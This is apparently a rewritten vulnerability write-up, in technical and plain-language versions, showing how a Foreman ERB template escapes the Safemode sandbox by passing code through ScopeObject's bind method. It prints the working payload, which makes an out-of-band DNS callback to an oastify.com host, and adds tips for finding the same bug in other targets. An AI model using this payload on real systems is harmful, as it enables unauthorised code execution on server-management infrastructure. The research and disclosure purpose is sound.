When you're so bored, you start debugging someone else's code: bug hunting in a random Cloud-Native project
The Foreman application allows users to create and preview Ruby ERB templates. Although a Safemode sandbox restricts dangerous operations, the report found that the ScopeObject's bind method passes its hash keys to eval, enabling arbitrary Ruby code execution and outbound DNS requests.
Published on blog.onsec.io
Our team has the challenge of finding bugs in popular Cloud-Native projects on Github. It's a fun activity that is a good alternative to platforms like HTB and benefits the project we're researching.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Foreman is a tool used to manage servers and deploy applications on them. The research team picked it as a target for a bug-hunting exercise on popular Cloud-Native projects on GitHub, for three stated reasons: it has a large codebase, which increases the chances of finding bugs; it had vulnerabilities in the past, including RCE; and no CVEs were reported for the project in 2022, which seemed odd. The version studied was the latest available at the time, 3.4.1.
The feature that drew attention is HOSTS > TEMPLATES. It lets an administrator manage templates for collecting data from controlled servers. The pre-installed templates are Ruby ERB templates, which is expected given that Foreman is written in Ruby. Templates are a standard application feature, but the fact that they are ERB gave a reason to test for RCE through SSTI.
Setup
Installation followed the quickstart guide at https://theforeman.org/manuals/3.4/index.html#2.Quickstart, deployed on Debian 11.
One precondition matters: the server's hostname must not point to 127.0.0.1. Check it with:
ping $(hostname -f)
If it pings to [redacted], edit /etc/hosts, for example:
[redacted] foreman
After that the installation is straightforward:
sudo apt-get -y install ca-certificates
cd /tmp && wget https://apt.puppet.com/puppet7-release-bullseye.deb
sudo apt-get install /tmp/puppet7-release-bullseye.deb
sudo wget https://deb.theforeman.org/foreman.asc -O /etc/apt/trusted.gpg.d/foreman.asc
echo "deb http://deb.theforeman.org/ bullseye 3.4" | sudo tee /etc/apt/sources.list.d/foreman.list
echo "deb http://deb.theforeman.org/ plugins 3.4" | sudo tee -a /etc/apt/sources.list.d/foreman.list
sudo apt-get update && sudo apt-get -y install foreman-installer
On success the installer reports that Foreman is running at https://theforeman.example.com.
The team hit one roadblock, an error reading ERROR: invalid locale name: "en_US.utf8", fixed with:
locale-gen en_US.UTF-8
locale-gen en_US.utf8
dpkg-reconfigure locales
systemctl restart postgresql
Then foreman-installer was launched once again.
Testing was blackbox: BurpSuite as a proxy, poking around the application, building a site map and learning the product along the way. The team notes that with source access whitebox testing and code analysers were an option, but they chose to see whether something could be caught off the bat.
Finding it
Almost immediately, attention was drawn to the HOSTS > TEMPLATES section. Looking at the pre-installed templates made it clear they were Ruby ERB templates. Using templates is standard functionality, so the discovery itself is not a bug, but it provided a reason to test the possibility of RCE through SSTI.
For testing, BurpSuite was not even needed: a template can be created directly from the interface and switched between the Editor and Preview tabs.
Exploitation
Step 1: confirm that Ruby code runs in templates
Templates allow out-of-the-box execution of Ruby code, for example:
<%= text='test string'; puts text %>
<%= test={a:77, b:77}; puts test[:a]*test[:b] %>
In Preview the output was shown as ["[\"test string\"]\n"] and ["[5929]\n"].
On its own this would not be worth much: it is the expected behaviour of an ERB template. The interesting question is how far the code can go.
Step 2: hit the Safemode wall
The obvious next moves, executing OS commands, launching reverse shells and so on, are blocked by the Safemode feature built into Foreman, described as an unremovable mechanism. The attempts and their errors:
<%= puts ENV.keys %>
There was an error rendering the template: Safemode doesn't allow to access 'constant' on ENV
There was an error rendering the template: Safemode doesn't allow to access 'shell command' on `id`
<%= x='77*77'; eval(x) %>
There was an error rendering the template: Safemode doesn't allow to access 'eval' on #<Safemode::ScopeObject>
<%= system('id') %>
There was an error rendering the template: Safemode doesn't allow to access 'system' on #<Safemode::ScopeObject>
<%= %x|id| %>
There was an error rendering the template: Safemode doesn't allow to access 'shell command' on `id`
ё<%= fork { exec("id") } %>
There was an error rendering the template: Safemode doesn't allow to access 'fork' on #<Safemode::ScopeObject>
All attempts to bypass Safemode directly failed. That only made the target more intriguing.
Step 3: read the Safemode source
Safemode is not a generic built-in Ruby protection mechanism but a project of the same collective behind Foreman, open at https://github.com/theforeman/safemode. Its README warns: "This library is still highly experimental. Only use it at your own risk for anything beyond experiments and playing."
A cursory look at the code, which is not large, revealed something strange in lib/safemode/scope.rb (the commit at the time of writing being [redacted]):
There is a bind method that passes its arguments to eval. The next problem is finding the class that contains this method.
Step 4: locate the object that has bind
The standard data types do not have this method:
But the error from the earlier attempt had already leaked the class name: Safemode::ScopeObject. So the question became whether self inside the template is such an object. The test:
<%= puts self.methods.select{|x| x == :bind} %>
self is exactly what was needed.
Step 5: call bind with code in a hash key
All that remains is to call the method and pass the code for eval inside it. The eval code must be contained in the Hash name, not in the value. The payload:
<%= self.bind({"xx=puts(`getent hosts [redacted].oastify.com`)#" => 123} ) %>
In the Collaborator output a DNS request appeared.
Safemode was bypassed and arbitrary code executed.
Root cause
In the attempts shown, Safemode blocked system, eval, backticks, fork and constant access such as ENV. In lib/safemode/scope.rb there is a bind method that passes its arguments to eval. Because self in the template is a Safemode::ScopeObject, the template can call bind on itself, and the code passed in the hash key is evaluated outside the checks that block the direct calls. The existing defence did not stop the attack.
Impact
An attacker who can create or edit a template in HOSTS > TEMPLATES can execute arbitrary Ruby code despite Safemode. The report does not describe the authentication or role requirements for reaching the template editor, so the exact privilege level needed is not stated here. The team also believes the bug will appear in other projects that use the Safemode library.
Fix
The report does not describe a patch or a change made by the maintainers. What it does say is where the problem lives: the bind method in lib/safemode/scope.rb that passes its arguments to eval.
Variants to test
- Enumerate the methods of
selfin any ERB or sandboxed template context, for example with<%= puts self.methods.select{|x| x == :bind} %>. A positive result is a method name that should not be reachable from a template. - Look for any sandbox wrapper method that forwards arguments to
eval,instance_eval,class_evalorsend. A positive result is a call that returns evaluated output instead of a Safemode error. - Pass the code in a hash key rather than a value, as in the payload above. A positive result is a DNS or HTTP interaction from the target in a Collaborator-style listener.
- Check other projects that embed the Safemode library for the same
bindmethod in their scope object. A positive result is the same DNS callback from a template preview.
What happened, in plain words
A small research team decided to spend some time looking for security bugs in popular open-source projects that are used to run cloud infrastructure. They picked a product called Foreman, which is a tool for managing servers and deploying applications onto them. They installed it, clicked around it like a normal user would, and found a feature where you can write small snippets of code that the server runs. The product tries to stop that code from doing anything dangerous, using a protection layer called Safemode. The team read the Safemode code, spotted a mistake in it, and found a way to make the server run any code they wanted anyway. This article walks through that journey from the very beginning, assuming you have never done security testing before.
Background: what Foreman is and why they chose it
Foreman is a tool used to manage servers and deploy applications on them. Think of it as a control panel for a fleet of computers: instead of logging into each machine one by one, an administrator uses Foreman to tell each machine what to install and how to behave.
The team had a challenge: find bugs in popular Cloud-Native projects on GitHub. Cloud-Native is a loose label for software designed to run in modern data centres and cloud environments, usually in many small pieces rather than one big machine. GitHub is a website where programmers publish and share the source code of their projects, and where anyone can read it.
They gave three reasons for choosing Foreman:
- It has a large codebase, which increases the chances of finding bugs. A codebase is the whole collection of source files that make up a program. More code means more places for a mistake to hide.
- It had vulnerabilities in the past, including RCE (remote code execution). RCE means an attacker can make the server run commands of their choosing, which is about as bad as it gets.
- No CVEs were reported for the project in 2022, which seemed odd. A CVE (Common Vulnerabilities and Exposures) is a public catalogue entry for a known security flaw, each with its own ID number. A popular project with no entries for a whole year struck the team as unusual.
The version they studied was the latest available at the time, 3.4.1.
Setting up a copy to play with
To test software safely, you install your own copy somewhere you control. The team followed the quickstart guide at https://theforeman.org/manuals/3.4/index.html#2.Quickstart and deployed the product on Debian 11. Debian is a free operating system (a distribution of Linux), and 11 is its version number.
One precondition matters before installing: the server's hostname must not point to 127.0.0.1. A hostname is the name a computer uses for itself on a network, and [redacted] is a special address that always means "this same machine". The original only says the hostname must not point to 127.0.0.1. You check it with:
ping $(hostname -f)
Line by line:
pingis a simple command that sends a small message to a computer and waits for a reply, to see whether it is reachable.$(hostname -f)runs the commandhostname -ffirst and pastes its output into the line.hostname -fprints the machine's full name.- So the whole line means "ping whatever my own full name resolves to".
If it pings to [redacted], you edit /etc/hosts. That file is a small local list that maps names to addresses, checked before any network lookup. The team's example entry:
[redacted] foreman
This says: whenever this machine looks up the name foreman, use the address [redacted] instead of the loopback address. (The address in the example is a placeholder; use your own server's address.)
After that the installation is straightforward:
sudo apt-get -y install ca-certificates
cd /tmp && wget https://apt.puppet.com/puppet7-release-bullseye.deb
sudo apt-get install /tmp/puppet7-release-bullseye.deb
sudo wget https://deb.theforeman.org/foreman.asc -O /etc/apt/trusted.gpg.d/foreman.asc
echo "deb http://deb.theforeman.org/ bullseye 3.4" | sudo tee /etc/apt/sources.list.d/foreman.list
echo "deb http://deb.theforeman.org/ plugins 3.4" | sudo tee -a /etc/apt/sources.list.d/foreman.list
sudo apt-get update && sudo apt-get -y install foreman-installer
Line by line:
sudo apt-get -y install ca-certificatesinstalls a package of trusted certificate authorities.sudomeans "run this as the administrator";apt-getis Debian's package installer;-yanswers yes to any prompt. Certificates are what make the padlock in a browser work, so the server can serve HTTPS.cd /tmp && wget https://apt.puppet.com/puppet7-release-bullseye.debchanges into the temporary folder and downloads a small package file.wgetis a command-line downloader. Puppet is a configuration-management tool.sudo apt-get install /tmp/puppet7-release-bullseye.debinstalls that downloaded file.sudo wget https://deb.theforeman.org/foreman.asc -O /etc/apt/trusted.gpg.d/foreman.ascdownloads Foreman's signing key and saves it where the package manager looks for trusted keys. A signing key lets the installer verify that packages really come from Foreman and have not been tampered with.- The two
echo ... | sudo tee ...lines add Foreman's software repository to the list of places the package manager downloads from. A repository is just a server that hosts installable packages. The first line adds the main repository, the second (tee -a, append) adds the plugins repository. sudo apt-get update && sudo apt-get -y install foreman-installerrefreshes the package list and installs the Foreman installer itself.
On success the installer reports that Foreman is running at https://theforeman.example.com.
The team hit one roadblock, an error reading ERROR: invalid locale name: "en_US.utf8". A locale is the set of settings that tell a program which language, date format and character encoding to use. The installer wanted a locale called en_US.utf8 and the system did not have it. They fixed it with:
locale-gen en_US.UTF-8
locale-gen en_US.utf8
dpkg-reconfigure locales
systemctl restart postgresql
Line by line:
locale-gen en_US.UTF-8generates the locale definition for US English with UTF-8 encoding. UTF-8 is the standard way of encoding text so that it can hold characters from any language.locale-gen en_US.utf8generates the same locale under the alternative spelling the installer was asking for.dpkg-reconfigure localesre-runs the configuration step for locales so the system picks up the new ones.systemctl restart postgresqlrestarts PostgreSQL, a database server, so it reloads with the new locale settings.
Then foreman-installer was launched once again.
How they looked for bugs
There are two broad ways to test software. Blackbox testing means you use the program from the outside, like a normal user, without reading its source code. Whitebox testing means you read the source code and reason about it directly. With source access, whitebox testing and automated code analysers (tools that scan source files for suspicious patterns) were an option, but the team chose blackbox to see whether something could be caught off the bat. They used BurpSuite as a proxy. A proxy sits between your browser and the server and records every request and response, so you can see exactly what the application is doing and replay or modify requests. They poked around the application, building a site map (a list of every page and feature they found) and learning the product along the way.
Finding the interesting feature
Almost immediately, attention was drawn to the HOSTS > TEMPLATES section. In Foreman, HOSTS are the machines being managed, and TEMPLATES are reusable pieces of text that get sent to those machines to collect data from them. Looking at the pre-installed templates made it clear they were Ruby ERB templates. Ruby is a programming language; Foreman is written in it. ERB (Embedded Ruby) is a template format where ordinary text is mixed with small pieces of Ruby code, and the code runs when the template is rendered. A template here is like a form letter with blanks that get filled in: mostly fixed text, with bits of logic that produce the variable parts.
Using templates is standard functionality, so the discovery itself is not a bug. But the fact that the templates contain real Ruby code gave the team a reason to test for RCE through SSTI. The everyday comparison: imagine a photocopier that is supposed to copy a form you filled in, but instead reads your handwriting as instructions to the machine and follows them.
For testing, BurpSuite was not even needed: a template can be created directly from the interface and switched between the Editor and Preview tabs. The Editor is where you type the template; Preview shows what the server produces when it renders it.
Step 1: confirm that Ruby code runs in templates
Templates allow out-of-the-box execution of Ruby code, for example:
<%= text='test string'; puts text %>
<%= test={a:77, b:77}; puts test[:a]*test[:b] %>
Line by line:
<%= ... %>is ERB syntax. The<%=opening tag means "run the Ruby code inside and print its result into the output".text='test string'stores the texttest stringin a variable calledtext. A variable is a named box that holds a value.;separates two statements on one line.puts textprints the value oftext.putsis Ruby's "print this" command.- In the second line,
test={a:77, b:77}creates a hash: a collection of labelled values, here two labelsaandb, both holding 77. Think of it as a two-row table with a name column and a value column. test[:a]*test[:b]looks up the value stored under labela, looks up the value under labelb, and multiplies them: 77 times 77.putsprints the result.
In Preview the output was shown as ["[\"test string\"]\n"] and ["[5929]\n"] respectively. The \n is just a newline character.
On its own this would not be worth much: it is the expected behaviour of an ERB template. The interesting question is how far the code can go.
Step 2: hit the Safemode wall
The obvious next moves, executing operating-system commands, launching reverse shells and so on, are blocked by the Safemode feature built into Foreman, described as an unremovable mechanism. A reverse shell is a technique where the attacked server opens a connection back to the attacker and hands over a command prompt, so the attacker can type commands on the victim machine. Safemode is a sandbox: a layer that sits between the template code and the rest of the system and refuses to let the code touch dangerous things.
The attempts and their errors:
<%= puts ENV.keys %>
There was an error rendering the template: Safemode doesn't allow to access 'constant' on ENV
Line by line:
ENVis a special Ruby object holding the environment variables of the process: named settings the operating system passes to every program..keysasks for the list of names of those settings.putsprints them.- Safemode refused, saying it does not allow access to a constant on
ENV. A constant is a name in Ruby that is fixed for the whole program, likeENVitself.
There was an error rendering the template: Safemode doesn't allow to access 'shell command' on `id`
Line by line:
- Backticks around text in Ruby mean "run this as an operating-system command and give me its output".
idis a standard command that prints who the current user is.- Safemode blocked it, calling it a shell command. The shell is the program that reads typed commands and runs them.
<%= x='77*77'; eval(x) %>
There was an error rendering the template: Safemode doesn't allow to access 'eval' on #<Safemode::ScopeObject>
Line by line:
x='77*77'stores the text77*77in a variable. Note it is text, not a calculation.eval(x)asks Ruby to take that text and run it as code.evalis the classic "run this string as a program" function, and it is dangerous precisely because it turns data into instructions.- Safemode blocked it and, usefully, revealed the name of the object the template code is running inside:
Safemode::ScopeObject. A scope object is the object that represents "where the template code is standing" and decides what it can reach.
<%= system('id') %>
There was an error rendering the template: Safemode doesn't allow to access 'system' on #<Safemode::ScopeObject>
Line by line:
system('id')is Ruby's way of running an operating-system command directly.- Safemode blocked it, again naming
Safemode::ScopeObject.
<%= %x|id| %>
There was an error rendering the template: Safemode doesn't allow to access 'shell command' on `id`
Line by line:
%x|id|is another Ruby syntax for running a shell command, an alternative to backticks.- Safemode blocked it the same way.
ё<%= fork { exec("id") } %>
There was an error rendering the template: Safemode doesn't allow to access 'fork' on #<Safemode::ScopeObject>
Line by line:
forkasks the operating system to create a copy of the current process. Attackers use it to spawn a separate process that runs their command while the original carries on.exec("id")replaces the current process with the commandid.- Safemode blocked
fork.
All attempts to bypass Safemode directly failed. That only made the target more intriguing.
Step 3: read the Safemode source
Safemode is not a generic built-in Ruby protection mechanism but a project of the same collective behind Foreman, open at https://github.com/theforeman/safemode. Its README warns: "This library is still highly experimental. Only use it at your own risk for anything beyond experiments and playing." A library is a bundle of code that other programs can reuse, and a README is the introductory document at the top of a project.
A cursory look at the code, which is not large, revealed something strange in lib/safemode/scope.rb (the commit at the time of writing being [redacted]). A commit is a saved snapshot of a project's files, identified by a long code, so you can point at exactly the version you looked at.
There is a bind method that passes its arguments to eval. A method is a named action an object can perform, like a button on a machine. bind here takes whatever it is given and hands it to eval, the same "run this text as code" function that Safemode was blocking everywhere else. The next problem is finding the class that contains this method. A class is the blueprint that defines what an object is and what methods it has.
Step 4: locate the object that has bind
The standard data types do not have this method. A data type is a kind of value, such as a number, a piece of text or a list. The team checked the usual ones:
But the error from the earlier attempt had already leaked the class name: Safemode::ScopeObject. So the question became whether self inside the template is such an object. self is Ruby's word for "the object I am currently standing in", the same idea as saying "me" in a sentence. The test:
<%= puts self.methods.select{|x| x == :bind} %>
Line by line:
selfis the current object, the scope object the template runs inside..methodsasks it for the list of all method names it has..select{|x| x == :bind}filters that list, keeping only entries equal to:bind. The|x|part is a block: a small piece of code applied to each item in turn, withxstanding for the current item.:bindis a symbol, Ruby's way of writing a fixed name as a value.putsprints whatever survives the filter.
self is exactly what was needed: the scope object itself has a bind method.
Step 5: call bind with code in a hash key
All that remains is to call the method and pass the code for eval inside it. The eval code must be contained in the Hash name, not in the value. In other words, the payload goes in the label part of the hash, not the number part. The payload:
<%= self.bind({"xx=puts(`getent hosts [redacted].oastify.com`)#" => 123} ) %>
Line by line:
<%= ... %>runs the Ruby inside and prints the result.self.bind(...)calls thebindmethod on the scope object, the method that forwards its argument toeval.{"xx=puts(getent hosts [redacted].oastify.com)#" => 123}is a hash with one entry. The label is the long string in quotes, and the value is123.- Inside that label:
xx=assigns to a variable namedxx;puts(...)prints something; the backticks run a shell command;getent hostslooks up a hostname using the system's name service; the long name ending inoastify.comis a unique address belonging to the team's listening service. The#at the end starts a comment in Ruby, so anything after it is ignored. - Because
bindpasses the label toeval, the text is executed as code, and the server performs a DNS lookup for the team's unique name.
A DNS lookup is the step where a computer asks the internet's phone book, the Domain Name System, "what address belongs to this name?". The team used a service that gives them a unique name and records every lookup of it. If their server sees a lookup for that name, they know the target machine ran their command. This is the same idea as leaving a distinctive footprint and then checking whether it appears.
In the Collaborator output a DNS request appeared. Collaborator is the listening service built into BurpSuite that hands out unique names and shows you the interactions they receive.
Safemode was bypassed and arbitrary code executed.
Why it worked
In the attempts shown, Safemode blocked system, eval, backticks, fork and constant access such as ENV. In lib/safemode/scope.rb there is a bind method that passes its arguments to eval. Because self in the template is a Safemode::ScopeObject, the template can call bind on itself, and the code passed in the hash key is evaluated outside the checks that block the direct calls. The existing defence did not stop the attack. The everyday comparison: a bouncer checks everyone who walks in the front door, but one of the staff standing inside has a side door key and hands it out when asked politely.
What an attacker could do
An attacker who can create or edit a template in HOSTS > TEMPLATES can execute arbitrary Ruby code despite Safemode. The report does not describe the authentication or role requirements for reaching the template editor, so the exact privilege level needed is not stated here. The team also believes the bug will appear in other projects that use the Safemode library.
How it should be fixed
The report does not describe a patch or a change made by the maintainers. What it does say is where the problem lives: the bind method in lib/safemode/scope.rb that passes its arguments to eval.
Things to try on other targets
- Enumerate the methods of
selfin any ERB or sandboxed template context, for example with<%= puts self.methods.select{|x| x == :bind} %>. A positive result is a method name that should not be reachable from a template. - Look for any sandbox wrapper method that forwards arguments to
eval,instance_eval,class_evalorsend. A positive result is a call that returns evaluated output instead of a Safemode error. - Pass the code in a hash key rather than a value, as in the payload above. A positive result is a DNS or HTTP interaction from the target in a Collaborator-style listener.
- Check other projects that embed the Safemode library for the same
bindmethod in their scope object. A positive result is the same DNS callback from a template preview.
Glossary
- Blackbox testing: testing a program from the outside, as a user would, without reading its source code.
- BurpSuite: a tool that sits between your browser and a website, recording and letting you modify the traffic.
- Class: the blueprint that defines what an object is and which methods it has.
- Cloud-Native: software designed to run in modern cloud and data-centre environments, usually in many small pieces.
- Code analyser: a tool that scans source code automatically for suspicious patterns.
- Codebase: the whole collection of source files that make up a program.
- Collaborator: the listening service in BurpSuite that gives out unique names and reports any interaction with them.
- Commit: a saved snapshot of a project's files, identified by a long code.
- Constant: a name in Ruby whose value is fixed for the whole program, such as
ENV. - CVE: Common Vulnerabilities and Exposures, a public catalogue of known security flaws, each with an ID number.
- Data type: a kind of value, such as a number, a piece of text or a list.
- Debian: a free Linux-based operating system; version 11 is the release used here.
- DNS lookup: the step where a computer asks the Domain Name System which address belongs to a name.
- Environment variables: named settings the operating system passes to every program.
- ERB: Embedded Ruby, a template format mixing ordinary text with small pieces of Ruby code that run when the template is rendered.
- eval: a Ruby function that takes text and runs it as code.
- fork: a Ruby call that asks the operating system to create a copy of the current process.
- GitHub: a website where programmers publish and share source code.
- Hash: a collection of labelled values, like a two-column table of names and values.
- Hostname: the name a computer uses for itself on a network.
- Library: a bundle of code that other programs can reuse.
- Locale: the settings that tell a program which language, date format and character encoding to use.
- Method: a named action an object can perform.
- PostgreSQL: a database server.
- Proxy: a program that sits between your browser and a server and records the traffic.
- Puppet: a configuration-management tool.
- RCE: remote code execution, when an attacker can make a server run commands of their choosing.
- README: the introductory document at the top of a software project.
- Repository: a server that hosts installable software packages.
- Reverse shell: a technique where the attacked server connects back to the attacker and hands over a command prompt.
- Ruby: the programming language Foreman is written in.
- Safemode: a sandbox library built by the Foreman project to stop template code from doing dangerous things.
- Sandbox: a layer that restricts what code is allowed to touch.
- Scope object: the object representing where template code is standing, which decides what it can reach.
- Self: Ruby's word for the object the code is currently standing in.
- Shell: the program that reads typed commands and runs them.
- Signing key: a cryptographic key used to verify that software packages really come from their stated source.
- Site map: a list of every page and feature found in an application.
- Symbol: Ruby's way of writing a fixed name as a value, such as
:bind. - Template: reusable text with blanks and logic that get filled in when it is rendered.
- UTF-8: the standard way of encoding text so it can hold characters from any language.
- Variable: a named box that holds a value.
- Whitebox testing: testing a program by reading its source code directly.